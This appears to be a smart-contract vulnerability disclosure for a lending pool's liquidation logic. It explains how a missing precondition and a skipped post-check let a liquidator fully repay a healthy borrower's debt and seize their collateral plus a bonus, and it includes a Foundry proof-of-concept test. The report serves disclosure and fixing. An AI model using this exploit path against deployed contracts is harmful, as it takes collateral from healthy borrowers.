https://github.com/hackenproof-public/strobe_dd
The liquidation flow in Pool.sol is missing the fundamental “must be liquidatable” precondition and, instead, applies a post-condition that is inverted and can be bypassed entirely. In plain terms: the contract lets a liquidator target a user who is still healthy, repay their debt, and walk away with the user’s collateral plus the liquidation bonus.
The call to liquidation routes through Pool.liquidate(...). After transferring the repayment and computing the collateral to seize, the function calls a helper that is intended to validate the post-state:
// Overcollateralized is defined as: collateral > required
if (data.collateralValue > data.collateralRequired) {
revert Errors.InvalidLiquidation();
}
This check is inverted relative to the goal. A correct liquidation should ensure the position is not undercollateralized after the action (i.e., collateralValue ≥ required). Here, the code reverts if the position becomes healthy, and allows keeping it unhealthy or exactly on the edge.
Worse, the same helper returns early and performs no checks if the user ends up with zero debt:
if (!userHasDebt(user)) {
return;
}
A liquidator who fully repays the victim’s debt avoids the only post-check entirely. There is also no pre-check anywhere in liquidate(...) that requires the target to be undercollateralized before seizure. The combination of “no pre-check” and “skip post-check on full repay” is what makes liquidating healthy users possible.
For completeness, liquidation is additionally gated by reserveEnabled, which can disable risk-resolution (repay/withdraw/liquidate) when a reserve is disabled. This is a secondary design issue, but it can make dangerous states linger.
Consider a typical setup from the tests: Token A as collateral (LTV 50%, liquidation threshold 80%, bonus 20%) priced at $50, Token B as debt priced at $100 (18 decimals). Alice deposits 100 A ($5,000) and borrows 22.5 B ($2,250). She is healthy: her threshold-adjusted collateral ($2,500) is above her debt ($2,250).
A malicious liquidator (Bob) can fully repay Alice’s $2,250 of debt while she is healthy. Because the code skips the post-check when the user’s debt becomes zero, the transaction succeeds. The protocol then seizes collateral valued at the repayment times (1 + bonus). With a 20% bonus, the seizure equals (2,250 / 50) × 1.20 = 54 A. Those tokens are transferred from Alice’s deposit to Bob’s reward account. Alice is left with 46 A and no debt; Bob’s gross gain is 20% of the repaid debt, taken directly from Alice’s equity.
This is not an edge case. Any healthy borrower with sufficient collateral relative to debt can be targeted this way. The liquidation bonus is paid out of the borrower’s collateral; it is not minted by the protocol. The vulnerability therefore enables systematic extraction of user collateral from healthy positions.
The goal is to restore standard liquidation invariants: liquidations should only be permitted when a user is actually undercollateralized, and any liquidation should improve the position’s health (or stay within a configured close factor).
userHasDebt == false.reserveEnabled. These operations should remain available even when a reserve is disabled; use “exists” checks instead so risk can be resolved in emergencies.I added here a simple PoC which proves the issue. The PoC can be added in the Pool.t.sol and should work by calling forge test --match-test testCanLiquidateHealthyPositionByFullRepay -vv . Note on existing tests: testCannotLiquidateHealthyPositions only checks that a partial liquidation which would leave the user healthy reverts. It does not cover the “full-repay skips the check” path and therefore misses the vulnerability.
function testCanLiquidateHealthyPositionByFullRepay() public {
// Keep timestamps simple to avoid interest accrual
vm.warp(0);
// Setup: Alice deposits 100 Token A as collateral, Bob deposits Token B as liquidity
setupWithAliceAndBobDeposit();
// Alice borrows 22.5 Token B. With Token A @ $50 and LTV 50%, she is healthy:
// Collateral (LTV-adjusted) = 100 * $50 * 0.5 = $2,500 > Debt $2,250
mockPoolWrapper.borrow(
MockConstants.ALICE_HASH, MockConstants.ALICE_ADDRESS, address(tokenB), 22500000000000000000
);
// Bob (liquidator) repays the FULL debt while Alice is healthy
vm.startPrank(MockConstants.BOB_EVM_ADDRESS);
tokenB.mint(MockConstants.BOB_EVM_ADDRESS, 22500000000000000000);
tokenB.approve(address(mockPoolWrapper.pool()), 22500000000000000000);
// Prices unchanged (Token A $50, Token B $100), liquidation bonus for A is 20%
// Seized collateral = (2250 / 50) * 1.20 = 54 Token A
pool.liquidate(
/* liquidator = */ MockConstants.BOB_EVM_ADDRESS,
/* rewardRecipient = */ MockConstants.BOB_ADDRESS,
/* liquidatee = */ MockConstants.ALICE_ADDRESS,
/* debtToken = */ address(tokenB),
/* amount = */ 22500000000000000000,
/* collateralToken = */ address(tokenA)
);
vm.stopPrank();
// Bob receives 54 Token A as collateral with bonus
DataTypes.XrplAccountHash bobHash = DataTypes.bytesToXrplAccountHash(MockConstants.BOB_ADDRESS);
uint256 bobCollateral = mockPoolWrapper.pool().getUserDepositForToken(address(tokenA), bobHash);
assertEq(bobCollateral, 54e18, "Bob should receive 54 Token A");
// Alice's collateral reduced accordingly: 100 - 54 = 46 Token A
uint256 aliceCollateral = mockPoolWrapper.pool().getUserDepositForToken(address(tokenA), MockConstants.ALICE_HASH);
assertEq(aliceCollateral, 46e18, "Alice collateral should reduce to 46 Token A");
// Alice's debt fully repaid
uint256 aliceDebt = mockPoolWrapper.pool().getUserDebtForToken(address(tokenB), MockConstants.ALICE_HASH);
assertEq(aliceDebt, 0, "Alice debt should be zero after full repay liquidation");
}